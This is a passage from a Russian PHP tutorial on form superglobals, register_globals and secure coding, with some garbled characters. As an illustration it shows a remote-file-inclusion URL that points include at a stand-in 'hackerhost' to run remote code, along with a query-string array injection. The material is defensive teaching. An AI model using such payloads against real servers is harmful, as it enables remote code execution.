Диагностика создаваемых массивов

Напомним, какие массивы создает РНР, когда обрабатывает данные, пришедшие из формы:

● $_GET — содержит GET-параметры, пришедшие скрипту через переменную окружения QUERY_STRING. Например, $_GET [' login'];

● $_post — данные формы, пришедшие методом post;

● $_cookie — все cookies, которые прислал браузер;

● $_ REQUEST — объединение трех перечисленных выше массивов.

Именно переменную $_ REQUEST рекомендуется использовать в скриптах, потому что таким образом мы не «привязываемся» жестко к типу принимаемых данных (get или post);

● $_server — содержит переменные окружения, переданные сервером (отсюда и название).

Может показаться, что это много. Чтобы не запутаться в переменных, рассмотрим полезный прием, помогающий при отладке сценариев: можно вывести все переменные в браузер.

Листинг dump.php. Вывод всех переменных в браузер

<! - - Выводит все глобальные переменные - ->

< pre >

<?print_r($ GLOBALS)?>

</ pre >

Задача данного сценария — распечатать в браузер все глобальные переменные программы (включая описанные выше массивы) в читабельном представлении. Глобальные переменные доступны через используемый массив $ GLOBALS. Встроенная функция print_r() делает все остальное.

Страница, генерируемая данным сценарием, весьма интересна. Рекомендуем поэкспериментировать с ней, передавая программе различные GET -данные (включая многомерные массивы) и подставляя ее в атрибут action различных HTML -форм.

3. КАКОЙ РЕЖИМ ВЫБРАТЬ: register_globals=off & on?

 

В рассмотренных примерах каждый раз при обращении к переменным, полученным из полей формы, писали:

$_ REQUEST [' … ']

Это делать необходимо из-за того, что все данные из полей формы PHP помещает в глобальный массив $_ REQUEST.

В ранних версиях РНР (вплоть до РНР 4.1) существовал способ, позволяющий работать с полями формы значительно проще. По умолчанию РНР не помещал данные в $_ REQUEST, а создавал обыкновенные глобальные переменные для каждого из полей формы. Например, можно было написать такой сценарий:

<!- - Вывод параметров командной строки. - ->

<? php

echo ” Hello, $ name!”;

?>

Запустив его с нужным параметром, например: http://localhost/hello.php?name=Виктор Сергеевич, можно увидеть корректную страницу приветствия: РНР создал глобальную переменную $name, значение которой и напечатано:

 

 

Такой режим работы называется register_globals и поддерживается в РНР по сей день. При этом в файле php.ini этот параметр находится во включенном состоянии:

 

Однако, начиная с PHP 4.2.0, register_globals по умолчанию выключен в файле php.ini:

Разработчики РНР поступили так по соображениям безопасности: часто скрипты, написанные в расчете на включенный register_g l oba l s, обнаруживали проблемы с защитой.

 

Внимание

Начиная с PHP 4.2.0, значение директивы register_globals по умолчанию установлено в off (отключено, раньше было on - включено). Положение register_globals в off делает предопределенные переменные доступными в глобальной области видимости. Например, чтобы получить: ● $DOCUMENT_ROOT, вам необходимо будет использовать $_SERVER['DOCUMENT_ROOT'] вместо $DOCUMENT_ROOT; ● $_GET['id'] из URL http://www.example.com/test.php?id=3 вместо $id; ● $_ENV['HOME'] вместо $HOME. Использование доступных зарезервированных предопределенных переменных PHP, таких как суперглобальные массивы, является предпочтительным.

Предупреждение!

В PHP 4.2.0 и позднее, набор по умолчанию предопределённых переменных, доступных в глобальной области видимости, изменён. Отдельные переменные ввода и сервера по умолчанию больше не размещаются непосредственно в глобальной области видимости; они размещаются в суперглобальных массивах. Вы можете форсировать старое поведение, установив register_globals в 'On' в вашем файле php.ini.

Суперглобальные переменные PHP $GLOBALS Содержит ссылку на каждую переменную, доступную в данный момент в глобальной области видимости скрипта. Ключами этого массива являются имена глобальных переменных. $GLOBALS существует, начиная с PHP 3. $_SERVER Переменные, установленные web-сервером либо напрямую связанные с окружением выполнения текущего скрипта. Аналог старого массива $HTTP_SERVER_VARS (который по-прежнему доступен, но не рекомендуется). $_GET Переменные, передаваемые скрипту через HTTP GET. Аналог старого массива $HTTP_GET_VARS (который по-прежнему доступен, но не рекомендуется). $_POST Переменные, передаваемые скрипту через HTTP POST. Аналог старого массива $HTTP_POST_VARS (который по-прежнему доступен, но не рекомендуется). $_COOKIE Переменные, передаваемые скрипту через HTTP cookies. Аналог старого массива $HTTP_COOKIE_VARS (который по-прежнему доступен, но не рекомендуется). $_FILES Переменные, передаваемые скрипту через HTTP post-загрузку файлов. Аналог старого массива $HTTP_POST_FILES (который по-прежнему доступен, но не рекомендуется). Для дополнительной информации смотрите Загрузка методом POST. $_ENV Переменные, передаваемые скрипту через окружение. Аналог старого массива $HTTP_ENV_VARS (который по-прежнему доступен, но не рекомендуется). $_REQUEST Переменные, передаваемые скрипту через механизмы ввода GET, POST и COOKIE, и которым, следовательно, нельзя доверять. Наличие и порядок включения переменных в этот массив определяется в соответствии с директивой конфигурации PHP variables_order. Этот массив не имеет прямых аналогов в версиях PHP до 4.1.0

 

Рекомендуется писать скрипты с расчетом на выключенный register_globals.

Сценарий, корректно работающий при выключенном register_globals, будет работать и при включенном режиме. Но не наоборот.

Для повышения безопасности работы нужно сконфигурировать PHP с опцией register_globals = off. Отключив возможность внедрения отправленных пользователем переменных в PHP -код, можно уменьшить количество заражённых переменных, которые потенциальный взломщик может попытаться направить вам. Для подделки отправляемой информации понадобится дополнительное время, а ваши внутренние переменные будут эффективно изолированы от отправляемых пользователем данных.

Хотя понадобятся некоторые дополнительные усилия при работе с PHP, но преимущества от этой работы с лихвой окупят эти затраты.

 

3.1. Первый пример уязвимости

Для иллюстрации, как можно получить уязвимый сценарий, рассмотрим пример:

<?php

//*** здесь устанавливается переменная $root

//***...

// запускаем другой скрипт, который ищем в каталоге $root

include $root.»/library.php»;

?>

Если в коде, помеченном выше звездочками, переменная $root по ошибке окажется не установленной (это может случиться по разным причинам), злоумышленник сможет запустить на сервере любой код, открыв следующий адрес в браузере:

http://example.com/scnpt.pbp?root=http://hackerhost

Здесь example.com — это машина, на которой располагается скрипт, a hacker h ost — компьютер злоумышленника, на котором также установлен Web-сервер.

Рассмотрим подробнее, что же происходит. В скрипте значение переменной $root подставляется в строку и выполняется команда:

include “http://hackerhost/library.php”;

В большинстве случаев это заставляет РНР загрузить файл library.php с удаленной машины и передать ему управление. Иными словами, записав в файл library.php на своей машине любой код, хакер может запустить его на сервере example.com.

 

3.2. Второй пример уязвимости

 

Предыдущий пример может показаться надуманным. Таким он и является: данная проблема может обнаружиться лишь в сценариях, насчитывающих несколько разных файлов, включающих друг друга. Там бывает весьма непросто уследить за глобальными переменными. Например, в известном форуме phpBB уязвимость описанного типа обнаруживалась и исправлялась несколько раз.

Более простой пример связан с массивами. Многие люди пишут в своих программах:

$artefacts[’rabbit’] = “white”;

$artefacts[’cat’] = “black”;

Они не задумываются над тем, что перед этим надо бы очистить массив $artefacts: считают, что он и так пуст в начале программы. Корректный же код должен выглядеть так:

$artefacts = array();

$artefacts[’rabbit’] = “white”;

$artefacts[’cat’] = “black”;

К чему ведет пропуск $ artefacts = array (); в начале скрипта? К тому, что, передав специально подобранную командную строку, хакер может добавить в массив $artefacts произвольные данные. Например, он запустит сценарий так:

http://example.com/script.php?artefacts[reboot]=yes

При этом в программе с пропущенным обнулением массива $artefacts в него будут помещены не два, а три элемента (включая reboot=>yes). Скрипт никак на это не рассчитывает, что, в свою очередь, порождает потенциальные проблемы с безопасностью.

Если глобальные переменные не создаются, то описанные уязвимости исчезают. Во всяком случае, так решили разработчики РНР.

Всегда необходимо проверять код, чтобы гарантировать, что любые переменные, отправляемые из web-браузера, соответствующим образом будут проверены. Задавайте себе следующие вопросы:

● Будет ли данный скрипт воздействовать только на предполагаемые файлы?

● Могут ли быть обработаны необычные или нежелательные данные?

● Может ли данный скрипт быть использован несоответствующим образом?

● Может ли он быть использован в сочетании с другими скриптами негативным образом?

● Будет ли выполнен адекватный логинг для каждой транзакции?

Задав себе эти вопросы при написании скрипта, а не потом, вы предотвратите возможную переделку для повышения защищённости. Вы не гарантируете полную безопасность вашей системы, но можете значительно повысить её.

Возможно, вы захотите также предусмотреть отключение register_globals, magic_quotes или других установок, которые могут создать у вас неуверенность в проверке, источнике или значении данной переменной. Работа с PHP в режиме error_reporting(E_ALL) также может помочь, предупреждая вас о переменных, используемых до проверки или инициализации (что предотвратит операции с необычными данными).